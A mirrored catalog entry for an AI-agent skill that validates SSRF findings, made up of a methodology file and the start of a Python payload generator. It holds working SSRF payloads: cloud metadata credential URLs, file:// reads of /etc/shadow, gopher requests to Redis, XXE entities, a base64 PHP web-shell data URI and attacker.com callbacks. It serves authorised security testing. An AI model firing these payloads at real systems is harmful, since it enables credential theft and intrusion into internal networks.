ssrf-testing
Validate Server-Side Request Forgery (SSRF) vulnerabilities by testing if user-controlled URLs can reach internal services, cloud metadata endpoints, or alternative protocols. Use when testing CWE-918 (SSRF), CWE-441 (Unintended Proxy), CWE-611 (XXE leading to SSRF), or findings involving URL fetching, webhooks, file imports, image/PDF/SVG processing, or XML parsing with external entities.
Packaged view
This page reorganizes the original catalog entry around fit, installability, and workflow context first. The original raw source lives below.
Install command
npx @skill-hub/cli install anshumanbh-securevibes-ssrf-testing
Repository
Skill path: packages/core/securevibes/skills/dast/ssrf-testing
Validate Server-Side Request Forgery (SSRF) vulnerabilities by testing if user-controlled URLs can reach internal services, cloud metadata endpoints, or alternative protocols. Use when testing CWE-918 (SSRF), CWE-441 (Unintended Proxy), CWE-611 (XXE leading to SSRF), or findings involving URL fetching, webhooks, file imports, image/PDF/SVG processing, or XML parsing with external entities.
Open repositoryBest for
Primary workflow: Ship Full Stack.
Technical facets: Full Stack, Backend, Testing.
Target audience: everyone.
License: Unknown.
Original source
Catalog source: SkillHub Club.
Repository owner: anshumanbh.
This is still a mirrored public skill entry. Review the repository before installing into production workflows.
What it helps with
- Install ssrf-testing into Claude Code, Codex CLI, Gemini CLI, or OpenCode workflows
- Review https://github.com/anshumanbh/securevibes before adding ssrf-testing to shared team environments
- Use ssrf-testing for development workflows
Works across
Favorites: 0.
Sub-skills: 0.
Aggregator: No.
Original source / Raw SKILL.md
---
name: ssrf-testing
description: Validate Server-Side Request Forgery (SSRF) vulnerabilities by testing if user-controlled URLs can reach internal services, cloud metadata endpoints, or alternative protocols. Use when testing CWE-918 (SSRF), CWE-441 (Unintended Proxy), CWE-611 (XXE leading to SSRF), or findings involving URL fetching, webhooks, file imports, image/PDF/SVG processing, or XML parsing with external entities.
---
# SSRF Testing Skill
## Purpose
Validate SSRF vulnerabilities by sending crafted URLs to user-controlled input points and observing:
- **Internal service access** (localhost, internal IPs, cloud metadata)
- **Protocol smuggling** (file://, gopher://, dict://)
- **Filter bypass success** (IP encoding, DNS rebinding, redirects)
- **Out-of-band callbacks** (OOB detection for blind SSRF)
## Vulnerability Types Covered
### 1. Basic SSRF (CWE-918)
Force server to make requests to attacker-controlled or internal destinations.
**Test Pattern:** Supply internal URL in user-controlled parameter
**Expected if secure:** Request blocked or validated
**Actual if vulnerable:** Server fetches internal resource and returns/processes content
### 2. Blind SSRF (CWE-918)
Server makes request but response is not returned to attacker.
**Test Pattern:** Supply OOB callback URL (Burp Collaborator, interact.sh)
**Expected if secure:** No callback received
**Actual if vulnerable:** HTTP/DNS callback received at attacker server
### 3. Cloud Metadata SSRF (CWE-918)
Access cloud provider metadata endpoints to steal credentials.
**Test Pattern:** Request `http://169.254.169.254/latest/meta-data/` (AWS) or equivalent
**Expected if secure:** Request blocked
**Actual if vulnerable:** IAM credentials, instance metadata exposed
**Cloud Providers:**
- AWS (169.254.169.254) - IMDSv1 & IMDSv2
- GCP (metadata.google.internal) - requires `Metadata-Flavor: Google` header
- Azure (169.254.169.254) - requires `Metadata: true` header
- DigitalOcean, Alibaba (100.100.100.200), Oracle (192.0.0.192), Hetzner
### 4. Protocol Smuggling (CWE-918)
Use alternative URL schemes to access local files or internal services.
**Protocols:**
- `file://` - Local file read
- `gopher://` - Raw TCP (Redis, Memcached, SMTP exploitation)
- `dict://` - Dictionary protocol (service detection)
- `ftp://`, `sftp://`, `tftp://` - File transfer protocols
- `ldap://` - Directory access
- `php://` - PHP stream wrappers (php://filter, php://input)
- `data://` - Data URI scheme
- `jar://` - Java archive scheme
- `netdoc://` - Java netdoc wrapper
### 5. Internal Port Scanning (CWE-918)
Enumerate internal services via response timing or error differences.
**Test Pattern:** Request internal IPs on various ports
**Expected if secure:** All requests blocked equally
**Actual if vulnerable:** Different responses for open vs closed ports
### 6. SSRF via XXE (CWE-611 → CWE-918)
XML External Entity injection leading to SSRF.
**Test Pattern:** Inject XXE payload with external entity pointing to internal URL
**Expected if secure:** XXE disabled or external entities blocked
**Actual if vulnerable:** Internal content returned in XML response
See [examples.md](examples.md#xxe-based-ssrf) for payloads.
### 7. SSRF via PDF/HTML Rendering (CWE-918)
HTML-to-PDF converters (wkhtmltopdf, Puppeteer, Chrome headless) fetch embedded resources.
**Test Pattern:** Inject HTML with internal resource references (iframe, img, link, script tags)
See [examples.md](examples.md#pdfhtml-renderer-ssrf) and [ssrf_payloads.py](reference/ssrf_payloads.py) for payloads.
### 8. SSRF via SVG/Image Processing (CWE-918)
Image processors that handle SVG or fetch external images.
**Test Pattern:** Upload SVG with external references
See [examples.md](examples.md#svgimage-processing-ssrf) for payloads.
### 9. Partial URL SSRF (Path Injection)
Application constructs URL from user input (path/host injection).
**Test Pattern:** Inject path traversal or host override
See [examples.md](examples.md#advanced-bypass-examples) for techniques.
## Prerequisites
- Target application running and reachable
- Identified SSRF injection points (URL parameters, webhooks, file imports)
- OOB callback server for blind SSRF (optional but recommended)
- VULNERABILITIES.json with suspected SSRF findings
## Testing Methodology
### Phase 1: Identify Injection Points
Before testing, analyze vulnerability report and source code for:
- **URL parameters:** `?url=`, `?path=`, `?src=`, `?dest=`, `?redirect=`, `?uri=`
- **Webhook configurations:** Callback URL fields
- **File import features:** "Import from URL" functionality
- **Image/avatar fetchers:** Profile picture from URL
- **PDF generators:** HTML-to-PDF with embedded resources
- **API integrations:** OAuth callbacks, external API endpoints
**Key insight:** Any user-controlled input that causes server-side HTTP requests is a potential SSRF vector.
### Phase 2: Establish Baseline
Send a request to an external domain you control or an OOB service to confirm URL fetching is enabled. See [validate_ssrf.py](reference/validate_ssrf.py) for implementation.
### Phase 3: Test Internal Access
#### Localhost Access
Test standard localhost references and bypass variants. See [ssrf_payloads.py](reference/ssrf_payloads.py) `get_localhost_payloads()` for complete list including decimal/hex/octal encodings and [examples.md](examples.md#basic-ssrf---localhost-access) for testing patterns.
#### Cloud Metadata Access
Test cloud provider metadata endpoints. See [ssrf_payloads.py](reference/ssrf_payloads.py) `get_cloud_metadata_payloads()` for complete provider-specific URLs and required headers. See [examples.md](examples.md#cloud-metadata-ssrf) for testing patterns.
### Phase 4: Test Filter Bypasses
#### IP Encoding Bypasses
Test decimal, hex, octal, IPv6-mapped encodings. See [ssrf_payloads.py](reference/ssrf_payloads.py) `get_ip_encoding_payloads()` for encoding functions.
#### URL Parser Confusion
Exploit parser differences using @, #, \ characters. See [ssrf_payloads.py](reference/ssrf_payloads.py) `get_url_parser_confusion_payloads()`.
#### DNS Rebinding
Use DNS services that alternate responses (1u.ms, rebind.network). See [ssrf_payloads.py](reference/ssrf_payloads.py) `get_dns_rebinding_payloads()`.
#### Redirect-Based Bypass
Use 307/308 redirect services. See [ssrf_payloads.py](reference/ssrf_payloads.py) `get_redirect_payloads()`.
#### Unicode/Punycode Bypass
Test unicode normalization and punycode. See [ssrf_payloads.py](reference/ssrf_payloads.py) for patterns.
#### CRLF Injection in URL
Inject headers via CRLF sequences. See [ssrf_payloads.py](reference/ssrf_payloads.py) for patterns.
#### JAR Scheme Bypass (Java)
Test JAR scheme for Java apps. See [ssrf_payloads.py](reference/ssrf_payloads.py) `get_protocol_payloads()`.
### Phase 5: Test Protocol Handlers
Test alternative URL schemes (file://, gopher://, dict://, php://, ldap://, etc.). See [ssrf_payloads.py](reference/ssrf_payloads.py) `get_protocol_payloads()` and [examples.md](examples.md#protocol-smuggling) for complete list and patterns.
### Phase 5b: Test XXE-based SSRF
If application processes XML, test XXE leading to SSRF. See [ssrf_payloads.py](reference/ssrf_payloads.py) `get_xxe_payloads()` for examples.
### Phase 5c: Test HTML/PDF Injection SSRF
If application generates PDFs from HTML, inject tags that fetch resources. See [ssrf_payloads.py](reference/ssrf_payloads.py) `get_html_injection_payloads()`.
### Phase 6: Blind SSRF Detection
Use OOB callback service (Burp Collaborator, interact.sh) to detect blind SSRF. See [examples.md](examples.md#blind-ssrf) and [validate_ssrf.py](reference/validate_ssrf.py) for implementation.
### Phase 7: Classification Logic
Classify responses based on internal content indicators, timing differences, and OOB callbacks. See [validate_ssrf.py](reference/validate_ssrf.py) for complete classification function with indicators for:
- Linux/Windows system files
- AWS/GCP/Azure metadata
- Internal services (Redis, Memcached, etc.)
- Docker/K8s environments
**Status Definitions:**
| Status | Meaning | Criteria |
|--------|---------|----------|
| **VALIDATED** | SSRF confirmed | Internal content returned, cloud metadata exposed, or OOB callback received |
| **FALSE_POSITIVE** | Not vulnerable | All internal requests blocked, no bypass succeeded |
| **PARTIAL** | Possible SSRF | Response differs for internal URLs but no clear content leak; requires manual review |
| **UNVALIDATED** | Test inconclusive | Error, timeout, or ambiguous response |
## Evidence Capture
Capture baseline, test payload, response data, and classification. See [examples.md](examples.md#test-result-types) for evidence structure.
**CRITICAL Redaction Requirements:**
- AWS AccessKeyId, SecretAccessKey, Token
- GCP/Azure access tokens
- Any credentials or secrets in metadata responses
- Internal IP addresses (if sensitive)
- Private SSH keys
## Output Guidelines
**CRITICAL: Keep responses concise (1-4 sentences)**
**Format for VALIDATED:**
```
SSRF on [endpoint] - server fetched [internal_resource] returning [data_type]. [Impact]. Evidence: [file_path]
```
**Format for FALSE_POSITIVE:**
```
SSRF check on [endpoint] - internal requests properly blocked ([status_code]/[error]). Evidence: [file_path]
```
**Format for PARTIAL:**
```
Possible SSRF on [endpoint] - response differs for internal URL but no content leak confirmed. Requires manual review. Evidence: [file_path]
```
**Format for UNVALIDATED:**
```
SSRF test incomplete on [endpoint] - [reason]. Evidence: [file_path]
```
**Examples:**
**Cloud Metadata SSRF:**
```
SSRF on /api/fetch - server accessed AWS metadata (169.254.169.254) exposing IAM credentials. Full AWS account compromise possible. Evidence: .securevibes/ssrf_evidence_001.json
```
**Localhost Access:**
```
SSRF on /webhook/test - server fetched http://127.0.0.1:6379 (Redis) returning version info. Internal service enumeration confirmed. Evidence: .securevibes/ssrf_evidence_002.json
```
**Protocol Smuggling:**
```
SSRF on /api/import - file:// protocol accepted, returned /etc/passwd contents. Local file read vulnerability. Evidence: .securevibes/ssrf_evidence_003.json
```
**Blind SSRF:**
```
Blind SSRF on /pdf/generate - OOB callback received at interact.sh from target server. Server makes external requests. Evidence: .securevibes/ssrf_evidence_004.json
```
**What NOT to do:**
- ❌ Don't repeat full payload lists in output
- ❌ Don't include raw credential values (always redact)
- ❌ Don't write multi-paragraph analysis
- ❌ Don't provide remediation unless requested
## CWE Mapping
This skill validates:
- **CWE-918:** Server-Side Request Forgery (SSRF)
- **CWE-441:** Unintended Proxy or Intermediary
- **CWE-611:** Improper Restriction of XML External Entity Reference (XXE → SSRF)
- **CWE-829:** Inclusion of Functionality from Untrusted Control Sphere (via PDF/HTML rendering)
## Safety Rules
**Skill Responsibilities:**
- ONLY test against --target-url provided by user
- NEVER exfiltrate actual cloud credentials (capture evidence of exposure, redact values)
- STOP if destructive action detected (e.g., gopher:// to Redis FLUSHALL)
- Redact all sensitive data in evidence files
- Use benign payloads (INFO, GET) not destructive ones (DELETE, FLUSHALL)
**Scanner Responsibilities (handled at infrastructure level):**
- Production URL detection
- User confirmation prompts
- Target reachability checks
## Error Handling
- Target unreachable → Mark UNVALIDATED
- Timeout on internal request → Note in evidence, may indicate filtering
- Connection refused → May indicate port scanning capability (PARTIAL)
- OOB service unavailable → Test non-blind methods only, note limitation
## Examples
For comprehensive examples with payloads and evidence, see `examples.md`:
- **Basic SSRF**: Localhost and internal IP access
- **Cloud Metadata**: AWS, GCP, Azure, DigitalOcean, Alibaba, Oracle
- **Filter Bypasses**: IP encoding, DNS rebinding, redirects, URL parser confusion
- **Protocol Smuggling**: file://, gopher://, dict://, ldap://
- **Blind SSRF**: OOB detection techniques
## Reference Implementations
See `reference/` directory for implementation examples:
- **`ssrf_payloads.py`**: Payload generator functions for all bypass techniques
- **`validate_ssrf.py`**: Complete SSRF testing script with classification
- **`README.md`**: Usage guidance and adaptation notes
### Additional Resources
- [PayloadsAllTheThings SSRF](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery)
- [OWASP SSRF Prevention Cheatsheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)
- [HackTricks SSRF](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery)
---
## Referenced Files
> The following files are referenced in this skill and included for context.
### reference/ssrf_payloads.py
```python
#!/usr/bin/env python3
"""
SSRF payload generators for comprehensive testing.
These are reference implementations to illustrate payload patterns.
Adapt them to your specific application's URL handling.
Usage:
from ssrf_payloads import get_localhost_payloads, get_cloud_metadata_payloads
for payload in get_localhost_payloads():
test_ssrf(target, payload)
"""
from typing import List, Dict
from urllib.parse import quote
def get_localhost_payloads() -> List[str]:
"""
Generate localhost/127.0.0.1 bypass payloads.
Returns:
List of URLs that resolve to localhost using various bypass techniques.
"""
return [
# Standard localhost
"http://127.0.0.1",
"http://localhost",
"http://127.0.0.1:80",
"http://localhost:80",
# Short forms
"http://127.1",
"http://127.0.1",
"http://0",
"http://0.0.0.0",
# Decimal encoding (127.0.0.1 = 2130706433)
"http://2130706433",
# Hexadecimal encoding
"http://0x7f000001",
"http://0x7f.0x0.0x0.0x1",
# Octal encoding
"http://0177.0.0.1",
"http://0177.0000.0000.0001",
"http://017700000001",
# IPv6 representations
"http://[::1]",
"http://[0000::1]",
"http://[::ffff:127.0.0.1]",
"http://[0:0:0:0:0:ffff:127.0.0.1]",
"http://[::ffff:7f00:1]",
# IPv6 localhost aliases
"http://ip6-localhost",
"http://ip6-loopback",
# DNS services that resolve to localhost
"http://localtest.me",
"http://127.0.0.1.nip.io",
"http://www.127.0.0.1.nip.io",
"http://127.0.0.1.xip.io",
# Mixed encoding
"http://127.0.0.1.nip.io:80",
"http://0x7f.0.0.1",
]
def get_cloud_metadata_payloads(provider: str = "all") -> List[Dict[str, str]]:
"""
Generate cloud provider metadata endpoint payloads.
Args:
provider: Cloud provider name (aws, gcp, azure, digitalocean, alibaba, oracle, all)
Returns:
List of dicts with 'url' and 'description' keys
"""
payloads = {
"aws": [
{"url": "http://169.254.169.254/latest/meta-data/", "desc": "AWS metadata root"},
{"url": "http://169.254.169.254/latest/meta-data/ami-id", "desc": "AWS AMI ID"},
{"url": "http://169.254.169.254/latest/meta-data/hostname", "desc": "AWS hostname"},
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/", "desc": "AWS IAM roles list"},
{"url": "http://169.254.169.254/latest/user-data", "desc": "AWS user data (may contain secrets)"},
{"url": "http://169.254.169.254/latest/dynamic/instance-identity/document", "desc": "AWS instance identity"},
# IPv6
{"url": "http://[fd00:ec2::254]/latest/meta-data/", "desc": "AWS metadata (IPv6)"},
# ECS
{"url": "http://169.254.170.2/v2/credentials/", "desc": "AWS ECS credentials"},
# Lambda
{"url": "http://localhost:9001/2018-06-01/runtime/invocation/next", "desc": "AWS Lambda runtime"},
],
"gcp": [
{"url": "http://169.254.169.254/computeMetadata/v1/", "desc": "GCP metadata (needs header)"},
{"url": "http://metadata.google.internal/computeMetadata/v1/", "desc": "GCP metadata internal"},
{"url": "http://metadata/computeMetadata/v1/", "desc": "GCP metadata short"},
# Beta (may not require header)
{"url": "http://metadata.google.internal/computeMetadata/v1beta1/", "desc": "GCP v1beta1 (no header)"},
{"url": "http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token", "desc": "GCP token (v1beta1)"},
{"url": "http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json", "desc": "GCP SSH keys"},
],
"azure": [
{"url": "http://169.254.169.254/metadata/instance?api-version=2021-02-01", "desc": "Azure IMDS (needs header)"},
{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/", "desc": "Azure managed identity token"},
],
"digitalocean": [
{"url": "http://169.254.169.254/metadata/v1/", "desc": "DigitalOcean metadata"},
{"url": "http://169.254.169.254/metadata/v1.json", "desc": "DigitalOcean metadata JSON"},
{"url": "http://169.254.169.254/metadata/v1/id", "desc": "DigitalOcean droplet ID"},
{"url": "http://169.254.169.254/metadata/v1/user-data", "desc": "DigitalOcean user data"},
],
"alibaba": [
{"url": "http://100.100.100.200/latest/meta-data/", "desc": "Alibaba Cloud metadata"},
{"url": "http://100.100.100.200/latest/meta-data/instance-id", "desc": "Alibaba instance ID"},
{"url": "http://100.100.100.200/latest/meta-data/image-id", "desc": "Alibaba image ID"},
],
"oracle": [
{"url": "http://192.0.0.192/latest/", "desc": "Oracle Cloud metadata"},
{"url": "http://192.0.0.192/latest/meta-data/", "desc": "Oracle Cloud meta-data"},
{"url": "http://192.0.0.192/latest/user-data/", "desc": "Oracle Cloud user-data"},
],
"kubernetes": [
{"url": "https://kubernetes.default.svc/", "desc": "Kubernetes API server"},
{"url": "http://127.0.0.1:10255/pods/", "desc": "Kubelet pods"},
{"url": "http://127.0.0.1:2379/v2/keys/", "desc": "etcd keys"},
],
"docker": [
{"url": "http://127.0.0.1:2375/containers/json", "desc": "Docker containers"},
{"url": "http://127.0.0.1:2375/images/json", "desc": "Docker images"},
{"url": "http://127.0.0.1:2375/version", "desc": "Docker version"},
],
"hetzner": [
{"url": "http://169.254.169.254/hetzner/v1/metadata", "desc": "Hetzner metadata"},
{"url": "http://169.254.169.254/hetzner/v1/metadata/hostname", "desc": "Hetzner hostname"},
{"url": "http://169.254.169.254/hetzner/v1/metadata/instance-id", "desc": "Hetzner instance ID"},
{"url": "http://169.254.169.254/hetzner/v1/metadata/public-ipv4", "desc": "Hetzner public IP"},
{"url": "http://169.254.169.254/hetzner/v1/metadata/private-networks", "desc": "Hetzner private networks"},
],
"rancher": [
{"url": "http://rancher-metadata/2015-12-19/", "desc": "Rancher metadata root"},
{"url": "http://rancher-metadata/latest/", "desc": "Rancher metadata latest"},
{"url": "http://rancher-metadata/latest/self/container", "desc": "Rancher container info"},
],
"openstack": [
{"url": "http://169.254.169.254/openstack/latest/meta_data.json", "desc": "OpenStack metadata"},
{"url": "http://169.254.169.254/openstack/latest/user_data", "desc": "OpenStack user data"},
],
"packet": [
{"url": "https://metadata.packet.net/metadata", "desc": "Packet/Equinix metadata"},
{"url": "https://metadata.packet.net/userdata", "desc": "Packet user data"},
],
}
if provider == "all":
result = []
for p_payloads in payloads.values():
result.extend(p_payloads)
return result
return payloads.get(provider.lower(), [])
def get_aws_imdsv2_payloads() -> List[Dict[str, str]]:
"""
Generate AWS IMDSv2 payloads (token-based metadata service).
IMDSv2 requires a token obtained via PUT request. Standard SSRF may not work
unless the application follows redirects or you can control HTTP method/headers.
Returns:
List of dicts with payload info
"""
return [
{
"step": "1_get_token",
"method": "PUT",
"url": "http://169.254.169.254/latest/api/token",
"headers": {"X-aws-ec2-metadata-token-ttl-seconds": "21600"},
"desc": "Get IMDSv2 token (requires PUT method)"
},
{
"step": "2_use_token",
"method": "GET",
"url": "http://169.254.169.254/latest/meta-data/",
"headers": {"X-aws-ec2-metadata-token": "<TOKEN_FROM_STEP_1>"},
"desc": "Access metadata with token"
},
{
"note": "If app can't do PUT, try header injection via gopher://",
"url": "gopher://169.254.169.254:80/_PUT%20/latest/api/token%20HTTP/1.1%0D%0AHost:%20169.254.169.254%0D%0AX-aws-ec2-metadata-token-ttl-seconds:%2021600%0D%0A%0D%0A",
"desc": "IMDSv2 token via gopher (if PUT blocked)"
},
]
def get_metadata_bypass_payloads() -> List[str]:
"""
Generate 169.254.169.254 (AWS metadata) bypass payloads.
Returns:
List of URLs using various encoding to reach AWS metadata.
"""
return [
# Standard
"http://169.254.169.254",
# Decimal (169.254.169.254 = 2852039166)
"http://2852039166",
# Hexadecimal
"http://0xA9FEA9FE",
"http://0xa9.0xfe.0xa9.0xfe",
# Octal
"http://0251.0376.0251.0376",
"http://0251.254.169.254", # Mixed
# IPv6
"http://[::ffff:169.254.169.254]",
"http://[::ffff:a9fe:a9fe]",
"http://[0:0:0:0:0:ffff:169.254.169.254]",
# DNS rebinding
"http://169.254.169.254.nip.io",
# Overflow (may work on some parsers)
"http://425.510.425.510",
]
def get_ip_encoding_payloads(ip: str) -> List[str]:
"""
Generate all encoding variants for a given IP address.
Args:
ip: IP address in dotted decimal format (e.g., "10.0.0.1")
Returns:
List of encoded URL variants
"""
parts = [int(p) for p in ip.split(".")]
# Calculate decimal representation
decimal = (parts[0] << 24) + (parts[1] << 16) + (parts[2] << 8) + parts[3]
# Calculate hex
hex_full = hex(decimal)
hex_dotted = ".".join(hex(p) for p in parts)
# Calculate octal
octal_dotted = ".".join(oct(p) for p in parts)
return [
f"http://{ip}",
f"http://{decimal}", # Decimal
f"http://{hex_full}", # Hex (0xAABBCCDD)
f"http://{hex_dotted}", # Hex dotted
f"http://{octal_dotted}", # Octal dotted
f"http://[::ffff:{ip}]", # IPv6 mapped
]
def get_protocol_payloads() -> List[Dict[str, str]]:
"""
Generate alternative protocol payloads for SSRF.
Returns:
List of dicts with 'url', 'protocol', and 'description' keys
"""
return [
# File protocol
{"url": "file:///etc/passwd", "protocol": "file", "desc": "Linux passwd file"},
{"url": "file:///etc/shadow", "protocol": "file", "desc": "Linux shadow file"},
{"url": "file:///proc/self/environ", "protocol": "file", "desc": "Process environment"},
{"url": "file:///proc/self/cmdline", "protocol": "file", "desc": "Process command line"},
{"url": "file:///c:/windows/win.ini", "protocol": "file", "desc": "Windows win.ini"},
{"url": "file:///c:/windows/system32/drivers/etc/hosts", "protocol": "file", "desc": "Windows hosts"},
{"url": "file://\\/\\/etc/passwd", "protocol": "file", "desc": "File with backslash"},
# Gopher protocol
{"url": "gopher://127.0.0.1:6379/_INFO%0D%0A", "protocol": "gopher", "desc": "Redis INFO"},
{"url": "gopher://127.0.0.1:11211/_stats%0D%0A", "protocol": "gopher", "desc": "Memcached stats"},
{"url": "gopher://127.0.0.1:25/_HELO%20localhost%0D%0A", "protocol": "gopher", "desc": "SMTP HELO"},
# Dict protocol
{"url": "dict://127.0.0.1:6379/INFO", "protocol": "dict", "desc": "Redis via dict"},
{"url": "dict://127.0.0.1:11211/stats", "protocol": "dict", "desc": "Memcached via dict"},
# LDAP
{"url": "ldap://127.0.0.1:389/", "protocol": "ldap", "desc": "LDAP server"},
{"url": "ldap://127.0.0.1:389/dc=example,dc=com", "protocol": "ldap", "desc": "LDAP with base DN"},
# SFTP/FTP
{"url": "sftp://attacker.com:22/", "protocol": "sftp", "desc": "SFTP connection"},
{"url": "ftp://attacker.com/", "protocol": "ftp", "desc": "FTP connection"},
# TFTP
{"url": "tftp://attacker.com:69/test", "protocol": "tftp", "desc": "TFTP request"},
# Netdoc (Java)
{"url": "netdoc:///etc/passwd", "protocol": "netdoc", "desc": "Java netdoc"},
# Jar (Java)
{"url": "jar:http://127.0.0.1!/", "protocol": "jar", "desc": "Java JAR scheme"},
# PHP wrappers
{"url": "php://filter/convert.base64-encode/resource=/etc/passwd", "protocol": "php", "desc": "PHP filter wrapper"},
{"url": "php://input", "protocol": "php", "desc": "PHP input stream"},
{"url": "data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+", "protocol": "data", "desc": "Data URI (PHP code)"},
{"url": "phar:///tmp/test.phar", "protocol": "phar", "desc": "PHAR archive"},
{"url": "expect://id", "protocol": "expect", "desc": "Expect wrapper (command exec)"},
]
def get_unicode_bypass_payloads() -> List[str]:
"""
Generate Unicode/Punycode bypass payloads.
Some validators don't properly normalize Unicode characters.
Returns:
List of Unicode-encoded URLs
"""
return [
# Enclosed alphanumerics (normalize to ASCII)
"http://ⓛⓞⓒⓐⓛⓗⓞⓢⓣ",
"http://ⓛⓞⓒⓐⓛⓗⓞⓢⓣ:80",
# Circled numbers for IP
"http://①②⑦.⓪.⓪.①",
# Mixed Unicode
"http://locⓐlhost",
"http://127。0。0。1", # Fullwidth dots
# Unicode normalization tricks
"http://ʟᴏᴄᴀʟʜᴏꜱᴛ", # Small caps
]
def get_crlf_payloads(allowed_host: str = "allowed.com") -> List[str]:
"""
Generate CRLF injection payloads for header injection via SSRF.
Args:
allowed_host: Whitelisted host to prepend
Returns:
List of CRLF injection URLs
"""
return [
f"http://{allowed_host}%0d%0aHost:%20127.0.0.1",
f"http://{allowed_host}%0d%0a%0d%0aGET%20/internal%20HTTP/1.1",
f"http://{allowed_host}%0d%0aX-Injected:%20header",
f"http://{allowed_host}%[email protected]", # Null byte
]
def get_xxe_ssrf_payloads(target_url: str = "http://169.254.169.254/latest/meta-data/") -> List[str]:
"""
Generate XXE payloads that lead to SSRF.
Args:
target_url: Internal URL to fetch via XXE
Returns:
List of XXE payload strings
"""
return [
# Basic XXE to internal URL
f'''<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "{target_url}">]>
<data>&xxe;</data>''',
# XXE with parameter entity (for blind)
f'''<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "{target_url}">
%xxe;
]>
<data>test</data>''',
# XXE to file://
'''<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<data>&xxe;</data>''',
# XXE via SVG
f'''<svg xmlns="http://www.w3.org/2000/svg">
<image href="{target_url}" />
</svg>''',
]
def get_html_ssrf_payloads(target_url: str = "http://169.254.169.254/latest/meta-data/") -> List[str]:
"""
Generate HTML payloads for SSRF via PDF/HTML renderers.
Args:
target_url: Internal URL to fetch
Returns:
List of HTML injection payloads
"""
return [
f'<iframe src="{target_url}" width="800" height="600">',
f'<img src="{target_url}">',
f'<script src="{target_url}"></script>',
f'<link rel="stylesheet" href="{target_url}">',
f'<object data="{target_url}">',
f'<embed src="{target_url}">',
f'<style>@import url("{target_url}");</style>',
f'<div style="background: url(\'{target_url}\');">',
f'<base href="{target_url}">',
f'<video src="{target_url}">',
f'<audio src="{target_url}">',
]
def get_dns_rebinding_payloads(target_ip: str) -> List[str]:
"""
Generate DNS rebinding payloads to bypass IP validation.
Args:
target_ip: Target internal IP to rebind to (e.g., "127.0.0.1")
Returns:
List of DNS rebinding URLs
"""
# Format: make-{safe_ip}-rebind-{target_ip}-rr.1u.ms
# First resolution returns safe_ip, second returns target_ip
safe_ip = "1.2.3.4"
target_formatted = target_ip.replace(".", "-")
return [
f"http://make-{safe_ip.replace('.', '-')}-rebind-{target_formatted}-rr.1u.ms/",
f"http://{target_ip}.nip.io/",
f"http://www.{target_ip}.nip.io/",
f"http://{target_ip}.xip.io/",
]
def get_url_parser_confusion_payloads(internal_host: str = "127.0.0.1",
external_host: str = "attacker.com") -> List[str]:
"""
Generate URL parser confusion payloads.
Different URL parsers interpret ambiguous URLs differently, allowing bypass.
Args:
internal_host: Target internal host
external_host: External host that passes validation
Returns:
List of confusing URL payloads
"""
return [
# Userinfo confusion (@)
f"http://{external_host}@{internal_host}/",
f"http://{external_host}:80@{internal_host}/",
f"http://user:pass@{external_host}@{internal_host}/",
# Fragment confusion (#)
f"http://{internal_host}#{external_host}/",
f"http://{internal_host}#@{external_host}/",
f"http://{external_host}:80#{internal_host}/",
# Backslash confusion
f"http://{internal_host}\\@{external_host}/",
f"http://{external_host}\\@{internal_host}/",
f"http://{internal_host}:80\\@{external_host}:80/",
# Combined
f"http://{internal_host}:80\\@@{external_host}:80/",
f"http://{internal_host}:80:\\@@{external_host}:80/",
# No scheme normalization
f"http:{internal_host}/",
f"http://{internal_host}",
]
def get_redirect_bypass_payloads(target_url: str) -> List[str]:
"""
Generate redirect-based bypass payloads.
Uses redirect services to bypass URL validation that only checks initial URL.
Args:
target_url: Target internal URL to redirect to
Returns:
List of redirect URLs
"""
encoded_target = quote(target_url, safe="")
return [
# r3dir.me service (307 preserves method)
f"https://307.r3dir.me/--to/?url={encoded_target}",
f"https://302.r3dir.me/--to/?url={encoded_target}",
# If you control a domain
f"http://yourserver.com/redirect?url={encoded_target}",
]
def get_common_internal_services() -> List[Dict[str, str]]:
"""
Get common internal services and their default ports for scanning.
Returns:
List of dicts with service info
"""
return [
{"host": "127.0.0.1", "port": 22, "service": "SSH"},
{"host": "127.0.0.1", "port": 80, "service": "HTTP"},
{"host": "127.0.0.1", "port": 443, "service": "HTTPS"},
{"host": "127.0.0.1", "port": 3000, "service": "Node.js"},
{"host": "127.0.0.1", "port": 3306, "service": "MySQL"},
{"host": "127.0.0.1", "port": 5432, "service": "PostgreSQL"},
{"host": "127.0.0.1", "port": 6379, "service": "Redis"},
{"host": "127.0.0.1", "port": 8080, "service": "HTTP Alt"},
{"host": "127.0.0.1", "port": 8443, "service": "HTTPS Alt"},
{"host": "127.0.0.1", "port": 9200, "service": "Elasticsearch"},
{"host": "127.0.0.1", "port": 11211, "service": "Memcached"},
{"host": "127.0.0.1", "port": 27017, "service": "MongoDB"},
{"host": "127.0.0.1", "port": 5672, "service": "RabbitMQ"},
{"host": "127.0.0.1", "port": 9000, "service": "PHP-FPM"},
{"host": "127.0.0.1", "port": 2375, "service": "Docker API"},
{"host": "127.0.0.1", "port": 2379, "service": "etcd"},
{"host": "127.0.0.1", "port": 10255, "service": "Kubelet"},
]
```
### reference/validate_ssrf.py
```python
#!/usr/bin/env python3
"""
SSRF validation testing script.
This is a reference implementation illustrating the complete SSRF testing pattern.
Adapt the endpoints, payloads, and detection logic to your specific application.
Usage:
# This is a reference - adapt before running
python validate_ssrf.py --target http://localhost:5000 --endpoint /api/fetch
"""
import requests
import hashlib
import json
import time
import re
from typing import Dict, List, Optional, Tuple
from dataclasses import dataclass, asdict
# Import payload generators
from ssrf_payloads import (
get_localhost_payloads,
get_cloud_metadata_payloads,
get_metadata_bypass_payloads,
get_protocol_payloads,
get_url_parser_confusion_payloads,
get_dns_rebinding_payloads,
)
@dataclass
class SSRFEvidence:
"""Evidence structure for SSRF test results."""
status: str # VALIDATED, FALSE_POSITIVE, PARTIAL, UNVALIDATED
